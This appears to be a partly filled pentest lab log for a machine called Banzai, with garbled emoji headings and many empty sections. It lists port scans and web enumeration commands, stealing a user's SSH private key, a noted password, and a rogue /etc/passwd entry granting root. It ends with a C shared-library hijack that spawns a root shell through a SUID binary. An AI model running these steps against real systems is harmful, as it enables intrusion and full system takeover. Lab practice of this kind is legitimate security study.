Banzai

๐Ÿงช Pentest Log: {{date:2025-07-22}}

๐Ÿ” Target Information

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 192.168.157.56 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

nmap -p$ports -sC -sV 192.168.157.56 -oN tcp_scan_result.txt

nmap -sU --top-ports 100 192.168.157.56 -oN udp_scan_result.txt

Port 22

ssh -i id_rsa deathflash@192.168.157.100

Port 8295

Web Content Enumeration

gobuster dir -u http://192.168.157.56:8295 -w /usr/share/seclists/Discovery/Web-Content/common.txt

feroxbuster --url http://192.168.157.56:8295

wpscan -url http://192.168.157.56:8295

dirsearch -u http://192.168.157.56:8295 -r -o dirsearch.txt


EscalateRaftHubris123

tony:$1$test$28Tmd0tsvqI1Eq.TDxcaq/:0:0:tony,,,:/root:/bin/bash

๐Ÿ’ฃ Exploitation

๐Ÿ“Œ Vulnerability Summary

๐Ÿš€ Exploit Execution

๐Ÿ”ง Exploit Method

Tool / Script Used:

download the id_rsa key under the deathflash's .ssh directory

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

SUID Binaries:

find / -perm -4000 -type f 2>/dev/null

strings /opt/backup

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -i");
}
gcc -shared -fPIC -nostartfiles -o libm.so libm.c
/opt/backup